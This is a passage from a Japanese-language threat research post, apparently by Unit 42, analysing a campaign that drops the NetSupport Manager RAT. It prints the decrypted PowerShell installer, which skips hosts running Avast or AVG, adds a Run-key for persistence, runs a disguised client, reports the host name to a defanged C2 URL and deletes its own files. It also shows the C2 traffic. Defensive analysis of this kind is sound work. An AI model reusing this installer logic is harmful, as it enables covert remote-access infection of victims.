\r\n\"7ohp9z481qem6ykbdu2argt5lj3fcsi0\";\r\nInvoke-Expression $TYCNJNUWWG;<\/pre>\n<p>REgistryMPZMZQYVXO.ps1\u306b\u4fdd\u5b58\u3055\u308c\u3066\u3044\u308b\u6697\u53f7\u5316\u3055\u308c\u305fblob\u30c7\u30fc\u30bf\u306f\u3001NetSupport Manager RAT\u3092\u88ab\u5bb3\u7aef\u672b\u306b\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3001\u6c38\u7d9a\u6027\u3092\u78ba\u4fdd\u3059\u308b\u5f79\u5272\u3092\u62c5\u3046\u5225\u306ePowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u3059\u3002<\/p>\n<p>\u306a\u304a\u3001\u3053\u306ePowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001<a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\">PowerSploit<\/a>\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e<a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/blob\/master\/ScriptModification\/Out-EncryptedScript.ps1\">Out-EncryptedScript.ps1<\/a>\u3068\u3044\u3046\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u4f7f\u7528\u3057\u3066\u751f\u6210\u3055\u308c\u305f\u3088\u3046\u3067\u3059\u3002\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306b\u306f\u3001base64\u3067\u96e3\u8aad\u5316\u3055\u308c\u305f\u5f8cCipher Block Chain\uff08CBC\uff09\u6697\u53f7\u30e2\u30fc\u30c9\u306eTripleDES\u3067\u6697\u53f7\u5316\u3055\u308c\u305fblob\u30c7\u30fc\u30bf\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u7279\u5b9a\u30b5\u30f3\u30d7\u30eb\u306e\u5fa9\u53f7\u7528\u30d1\u30b9\u30ef\u30fc\u30c9(Decryption key)\u3068\u521d\u671f\u5316\u30d9\u30af\u30c8\u30eb\uff08IV\uff09\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">Decryption key = 0xA7A15B277A74CD3233B9DF078ABCDE12<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">IV\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 = DJZGVUGVHDMNIGZD<\/span><\/p>\n<p>\u306a\u304a\u3001\u540c\u30b5\u30f3\u30d7\u30eb\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308bIV\u306f\u3001PowerSploit\u3067\u751f\u6210\u3057\u305f\u4ed6\u306e\u30b5\u30f3\u30d7\u30eb\u306eIV\u3068\u306f\u304a\u305d\u3089\u304f\u7570\u306a\u308b\u53ef\u80fd\u6027\u304c\u9ad8\u3044\u306e\u3067\u3001\u305d\u306e\u70b9\u306f\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u307e\u305fIV\u30d6\u30ed\u30c3\u30af\u306f\u30b5\u30a4\u30ba\u9577\u304c8\u30d0\u30a4\u30c8\u306a\u306e\u3067\u300116\u30d0\u30a4\u30c8\u306eIV\u306f\u30018\u30d0\u30a4\u30c8\u306b\u77ed\u7e2e\u3055\u308c\u308b\u3082\u306e\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u5fa9\u53f7\u3057\u305fPowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u6b21\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">$scriptPath = split-path -parent \r\n$MyInvocation.MyCommand.Definition\r\nif ($scriptpath -match \"avast\") {exit}\r\nif ($scriptpath -match \"Avast\") {exit}\r\nif ($scriptpath -match \"AVG\") {exit}\r\nif ($scriptpath -match \"avg\") {exit}\r\nfunction react (\r\n  $source,\r\n  $destination\r\n)\r\n{\r\nConvert-StringToBinary -InputString $source -FilePath $Destination;\r\n  #      }\r\n     }#}\r\nfunction Convert-StringToBinary\r\n(\r\n $InputString\r\n,  $FilePath\r\n)\r\n{\r\n$file= $InputString\r\n$data = [System.Convert]::FromBase64String($file)\r\n$ms = New-Object System.IO.MemoryStream\r\n$ms.Write($data, 0, $data.Length)\r\n$ms.Seek(0,0) | Out-Null\r\n\r\n$cs = New-Object System.IO.Compression.GZipStream($ms, \r\n[System.IO.Compression.CompressionMode]::Decompress)\r\n$sr = New-Object System.IO.StreamReader($cs)\r\n$t = $sr.readtoend()#|out-file str.txt\r\n\r\n$ByteArray = [System.Convert]::FromBase64String($t);\r\n[System.IO.File]::WriteAllBytes($FilePath, $ByteArray);\r\n}\r\nfunction Install\r\n{\r\n$file1 = \u201c&lt;<strong>Gzip compressed + base64 encoded file<\/strong>&gt;\u201d;\r\n$file2 = \u201c&lt;<strong>Gzip compressed + base64 encoded file<\/strong>&gt;\u201d;\r\n$file3 = \u201c&lt;<strong>Gzip compressed + base64 encoded file<\/strong>&gt;\u201d;\r\n$file4 = \u201c&lt;<strong>Gzip compressed + base64 encoded file<\/strong>&gt;\u201d;\r\n$file5 = \u201c&lt;<strong>Gzip compressed + base64 encoded file<\/strong>&gt;\u201d;\r\n$file6 = \u201c&lt;<strong>Gzip compressed + base64 encoded file<\/strong>&gt;\u201d;\r\n$file7 = \u201c&lt;<strong>Gzip compressed + base64 encoded file<\/strong>&gt;\u201d;\r\n$file8 = \u201c&lt;<strong>Gzip compressed + base64 encoded file<\/strong>&gt;\u201d;\r\n$file9 = \u201c&lt;<strong>Gzip compressed + base64 encoded file<\/strong>&gt;\u201d;\r\n$file10 = \u201c&lt;<strong>Gzip compressed + base64 encoded file<\/strong>&gt;\u201d;\r\n$file11 = \u201c&lt;<strong>Gzip compressed + base64 encoded file<\/strong>&gt;\u201d;\r\n$file12 = \u201c&lt;<strong>Gzip compressed + base64 encoded file<\/strong>&gt;\u201d;\r\n\r\n$randf=( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | \r\nGet-Random -Count 8 | % {[char]$_}) )\r\n$fpath =\"$env:appdata\\$randf\"\r\nmkdir $fpath\r\n$clientname=\"presentationhost.exe\"\r\n$Source = $file1\r\n$Destination = \"$fpath\\\"+\"$clientname\"\r\nreact -source $source -destination $destination\r\n$Source = $file2\r\n$Destination = \"$fpath\\client32.ini\"\r\nwrite-host $destination\r\nreact -source $source -destination $destination\r\n$Source = $file3\r\n$Destination = \"$fpath\\HTCTL32.DLL\"\r\nreact -source $source -destination $destination\r\n$Source = $file4\r\n$Destination = \"$fpath\\msvcr100.dll\"\r\nreact -source $source -destination $destination\r\n$Source = $file5\r\n$Destination = \"$fpath\\nskbfltr.inf\"\r\nreact -source $source -destination $destination\r\n$Source = $file6\r\n$Destination = \"$fpath\\NSM.ini\"\r\nreact -source $source -destination $destination\r\n$Source = $file7\r\n$Destination = \"$fpath\\NSM.lic\"\r\nreact -source $source -destination $destination\r\n$Source = $file8\r\n$Destination = \"$fpath\\pcicapi.dll\"\r\nreact -source $source -destination $destination\r\n$Source = $file9\r\n$Destination = \"$fpath\\PCICHEK.DLL\"\r\nreact -source $source -destination $destination\r\n$Source = $file10\r\n$Destination = \"$fpath\\PCICL32.DLL\"\r\nreact -source $source -destination $destination\r\n$Source = $file11\r\n$Destination = \"$fpath\\remcmdstub.exe\"\r\nreact -source $source -destination $destination\r\n$Source = $file12\r\n$Destination = \"$fpath\\TCCTL32.DLL\"\r\nreact -source $source -destination $destination\r\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" \/v ServiceDLL \/t REG_SZ \/d \"$fpath\\$clientname\" \/f\r\nstart-process \"$fpath\\$clientname\"\r\n#Start-sleep -s 10\r\nInvoke-WebRequest -Uri \"http:\/\/afsasdfa33[.]xyz\/iplog\/lepo.php?hst=$env:computername\"\r\n$f=get-content $env:temp\\insghha4.txt\r\n\r\nremove-item $env:TEMP\\*.ps1\r\n#cmd \/c del %temp%\\*.ps1 \/f\r\n#cmd \/c del %temp%\\*.txt \/f\r\nremove-item $f\r\n}\r\n#ShowConsole\r\n#rights\r\n\r\ninstall;<\/pre>\n<p>RAT\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30e9PowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u6b21\u306e\u3053\u3068\u3092\u884c\u3044\u307e\u3059\u3002<\/p>\n<ol>\n<li>\u6a19\u7684\u306e\u30db\u30b9\u30c8\u4e0a\u3067Avast\u306a\u3044\u3057AVG Antivirus Software\u304c\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u5834\u5408\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3092\u505c\u6b62\u3059\u308b<\/li>\n<li>NetSupport Manager RAT\u3092\u69cb\u6210\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u309212\u500b\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u3002\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u5148\u306f\u88ab\u5bb3\u7aef\u672b\u306e%appdata%\u4ee5\u4e0b\u306e\u30e9\u30f3\u30c0\u30e0\u306a\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3067\u3001\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u540d\u306e\u9577\u3055\u306f8\u6587\u5b57\u3002\u305f\u3068\u3048\u3070c:\\users\\%username%\\Appdata\\Roaming\\%randomvalue%\\<\/li>\n<li>\u6b21\u306e\u30ec\u30b8\u30b9\u30c8\u30ea\u30ad\u30fc\u3092\u4f5c\u6210\u3057\u88ab\u5bb3\u7aef\u672b\u4e0a\u3067\u6c38\u7d9a\u6027\u3092\u78ba\u4fdd: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n<ul>\n<li>\u540d\u524d: ServiceDLL<\/li>\n<li>\u5024: C:\\Users\\%username% \\AppData\\Roaming\\%randomvalue%\\presentationhost.exe'<\/li>\n<\/ul>\n<\/li>\n<li>\u30e1\u30a4\u30f3\u3068\u306a\u308bNetSupport Manager RAT presentationhost.exe\u3092\u5b9f\u884c\u3059\u308b<\/li>\n<li>10\u79d2\u30b9\u30ea\u30fc\u30d7\u3059\u308b<\/li>\n<li>http:\/\/afsasdfa33[.]xyz\/iplog\/lepo.php?hst=%computername% \u306b\u88ab\u5bb3\u7aef\u672b\u306e\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u540d\u3092\u9001\u4fe1\u3059\u308b<\/li>\n<li>\u30b5\u30a4\u30c8afsasdfa33[.]xyz\u304b\u3089\u8fd4\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u88ab\u5bb3\u7aef\u672b\u306e%temp% \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306b\u30d5\u30a1\u30a4\u30ebinsghha4.txt\u3068\u3057\u3066\u4fdd\u5b58\u3059\u308b<\/li>\n<li>\u88ab\u5bb3\u7aef\u672b\u306e%temp% \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u304b\u3089\u30d5\u30a1\u30a4\u30eb\u62e1\u5f35\u5b50\u304c\u300c.ps1\u300d\u306e\u3059\u3079\u3066\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u524a\u9664\u3059\u308b<\/li>\n<li>insghha4.txt\u3068\u3044\u3046\u540d\u524d\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u524a\u9664\u3059\u308b<\/li>\n<\/ol>\n<p>\u30e1\u30a4\u30f3\u306eNetSupport Manager\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\uff08presentationhost.exe\uff09\u304c\u958b\u59cb\u3055\u308c\u308b\u3068\u3001geo.netsupportsoftware[.]com\u30c9\u30e1\u30a4\u30f3\u306b\u30d3\u30fc\u30b3\u30f3\u3092\u9001\u4fe1\u3057\u3066\u30db\u30b9\u30c8\u306e\u30b8\u30aa\u30ed\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u53d6\u5f97\u3057\u307e\u3059\u3002\u305d\u306e\u5f8c\u306bhttp:\/\/94.158.245[.]182\/fakeurl.htm\u3078\u306eHTTP POST\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u7d9a\u304d\u307e\u3059\u3002<\/p>\n<p>NetSupport Manager\u306e\u3082\u3068\u3082\u3068\u306e\u540d\u79f0\u306fclient32.exe\u3067\u3059\u306e\u3067\u3001presentationhost.exe\u306b\u540d\u79f0\u3092\u5909\u66f4\u3057\u305f\u306e\u306f\u304a\u305d\u3089\u304f\u7591\u3044\u3092\u6301\u305f\u308c\u306b\u304f\u304f\u3059\u308b\u305f\u3081\u3060\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u5148\u306e\u30c9\u30e1\u30a4\u30f3\u306b\u9001\u4fe1\u3055\u308c\u308b\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306f\u6b21\u306e\u3088\u3046\u306a\u5185\u5bb9\u3067\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">POST http:\/\/94.158.245[.]182\/fakeurl.htm HTTP\/1.1<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">User-Agent: NetSupport Manager\/1.3<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-Type: application\/x-www-form-urlencoded<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-Length: 22<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Host: 94.158.245[.]182<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Connection: Keep-Alive<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">CMD=POLL<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">INFO=1<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">ACK=1<\/span><\/p>\n<h4><a id=\"post-105045-response-received\"><\/a>\u53d7\u3051\u53d6\u3063\u305f\u30ec\u30b9\u30dd\u30f3\u30b9:<\/h4>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">HTTP\/1.1 200 OK<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Server: NetSupport Gateway\/1.6 (Windows NT)<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-Type: application\/x-www-form-urlencoded<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-Length: 60<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Connection: Keep-Alive<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">CMD=ENCD<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">ES=1<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">DATA=.g+$.{.. \\\u2026.W\u2026bb\u2026).w}..o..X..xf\u2026<\/span><\/p>\n<h4><a id=\"post-105045-encrypted-data-sent-from-the-victim\"><\/a>\u88ab\u5bb3\u7aef\u672b\u304b\u3089\u9001\u4fe1\u3055\u308c\u305f\u6697\u53f7\u5316\u6e08\u307f\u30c7\u30fc\u30bf<\/h4>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">POST http:\/\/94.158.245[.]182\/fakeurl.htm HTTP\/1.1<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">User-Agent: NetSupport Manager\/1.3<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-Type: application\/x-www-form-urlencoded<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-Length: 244<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Host: 94.158.245[.]182<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Connection: Keep-Alive<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">CMD=ENCD<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">ES=1<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">DATA=u.2h.r..4.]..%y-\u2026..=I\u2026D3.W..i.7?\u2026.=@\u2026.F.f\u2026.&amp;t.[..6ra..L..Tzg..... ..U.z4.]..%y-A9H=n .:!.\"Pfd]U,[.(...f=I.....W.p..RHz.....#..@.....&gt;|.?...R...s.nt.G..=}\\......M...6...wC.........I=M..0i=@..o.ckp=@.r\u2026\u2026..M.6..<\/span><\/p>\n<h3><a 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id=\"post-105045-conclusion\"><\/a>\u7d50\u8ad6<\/h2>\n<p>\u8907\u6570\u306e\u632f\u308b\u821e\u3044\u3092\u7d44\u307f\u5408\u308f\u305b\u306a\u3051\u308c\u3070\u63a2\u7d22\u3067\u304d\u306a\u3044\u3088\u3046\u306a\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306f\u3001\u691c\u51fa\u3055\u308c\u308b\u78ba\u7387\u304c\u4f4e\u304f\u3001\u9759\u7684\u89e3\u6790\u3084\u52d5\u7684\u89e3\u6790\u3067\u306f\u56de\u907f\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002Cortex XDR&#x2122;\u30a8\u30f3\u30b8\u30f3\u306e\u5834\u5408\u3001\u8907\u6570\u306e\u632f\u308b\u821e\u3044\u3092\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u60aa\u610f\u306e\u3042\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u63a2\u7d22\u3059\u308b\u305f\u3081\u306e\u30b7\u30b0\u30cd\u30c1\u30e3\u3092\u5229\u7528\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>NetSupport Manager RAT\u3092\u60aa\u610f\u306e\u3042\u308b\u76ee\u7684\u306b\u4f7f\u7528\u3059\u308b\u4f8b\u306f\u3001<a href=\"https:\/\/www.fireeye.com\/blog\/threat-research\/2018\/04\/fake-software-update-abuses-netsupport-remote-access-tool.html\">FireEye<\/a>\u3001<a href=\"https:\/\/www.zscaler.com\/blogs\/research\/netsupport-rat-installed-fake-update-notices\">Zscaler<\/a>\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u304b\u3089\u3082\u5831\u544a\u304c\u3042\u308a\u307e\u3059\u3002\u4eca\u56de\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306f\u7bc4\u56f2\u306e\u3072\u308d\u3044\u3070\u3089\u307e\u304d\u578b\u306e\u3082\u306e\u306e\u3088\u3046\u3067\u306f\u3042\u308a\u307e\u3059\u304c\u3001\u653b\u6483\u8005\u304c\u6210\u529f\u7387\u3092\u4e0a\u3052\u308b\u305f\u3081\u306b\u6a19\u7684\u3068\u7d50\u3073\u3064\u304d\u306e\u5f37\u3044\u6587\u66f8\u540d\u3092\u5229\u7528\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u70b9\u306b\u7279\u5fb4\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u88fd\u54c1\u3092\u3054\u5229\u7528\u4e2d\u306e\u304a\u5ba2\u69d8\u306f\u540c\u8105\u5a01\u304b\u3089\u8907\u6570\u306e\u30b5\u30fc\u30d3\u30b9\u306b\u3088\u308a\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u5f0a\u793e\u306e\u8105\u5a01\u9632\u6b62\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306f\u3001NetSupport Manager\u30d5\u30a1\u30a4\u30eb\u3001URL\u304b\u3089\u306e\u53d6\u5f97\u5185\u5bb9\u3092\u542b\u3081\u305f\u95a2\u9023\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u4e21\u65b9\u3092\u691c\u51fa\u3057\u307e\u3059\u3002Cortex XDR\u3092\u3054\u5229\u7528\u4e2d\u306e\u304a\u5ba2\u69d8\u306f\u3001\u632f\u308b\u821e\u3044\u30d9\u30fc\u30b9\u306eIoC\u30b7\u30b0\u30cd\u30c1\u30e3\u306b\u3088\u3063\u3066\u3055\u3089\u306b\u4fdd\u8b77\u304c\u5f37\u5316\u3055\u308c\u3066\u3044\u307e\u3059\u3002<a href=\"https:\/\/www.paloaltonetworks.com\/products\/secure-the-network\/subscriptions\/autofocus\">AutoFocus<\/a>\u3092\u304a\u4f7f\u3044\u306e\u304a\u5ba2\u69d8\u306f\u6b21\u306e\u30bf\u30b0\u3092\u4f7f\u7528\u3057\u3066\u3053\u308c\u3089\u306e\u6d3b\u52d5\u3092\u8ffd\u8de1\u3067\u304d\u307e\u3059: <a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.NetSupportManager\">NetSupport Manager<\/a><\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u672c\u7a3f\u3067\u898b\u3064\u304b\u3063\u305f\u30d5\u30a1\u30a4\u30eb\u30b5\u30f3\u30d7\u30eb\u3084\u4fb5\u5bb3\u306e\u5146\u5019\u306a\u3069\u3092\u3075\u304f\u3080\u8abf\u67fb\u7d50\u679c\u3092Cyber Threat Alliance(CTA \u30b5\u30a4\u30d0\u30fc\u8105\u5a01\u30a2\u30e9\u30a4\u30a2\u30f3\u30b9)\u306e\u30e1\u30f3\u30d0\u30fc\u3068\u5171\u6709\u3057\u307e\u3057\u305f\u3002CTA \u306e\u30e1\u30f3\u30d0\u30fc\u306f\u3053\u306e\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3001\u304a\u5ba2\u69d8\u306b\u4fdd\u8b77\u3092\u8fc5\u901f\u306b\u63d0\u4f9b\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30b5\u30a4\u30d0\u30fc\u653b\u6483\u8005\u3092\u4f53\u7cfb\u7684\u306b\u963b\u5bb3\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002Cyber Threat Alliance\u306e\u8a73\u7d30\u306b\u3064\u3044\u3066\u306f<a href=\"https:\/\/www.cyberthreatalliance.org\/\">www.cyberthreatalliance.org<\/a>\u306eweb\u30b5\u30a4\u30c8\u3092\u3054\u89a7\u304f\u3060\u3055\u3044\u3002<\/p>\n<h2><a id=\"post-105045-indicators-of-compromise\"><\/a>IoC<\/h2>\n<p>\u3053\u308c\u3089\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u95a2\u9023\u3059\u308b\u3059\u3079\u3066\u306eIoC\u306f<a href=\"https:\/\/github.com\/pan-unit42\/iocs\/blob\/master\/NetSupportManager\">\u3053\u3061\u3089<\/a>\u306eUnit 42\u306eGitHub\u30ea\u30dd\u30b8\u30c8\u30ea\u306b\u304a\u3044\u3066\u3042\u308a\u307e\u3059\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 2020\u5e741\u6708\u3001Unit 42\u306f\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305fNortonLifelock\u6587\u66f8\u3092\u88c5\u3046\u60aa\u610f\u306e\u3042\u308bMicrosoft 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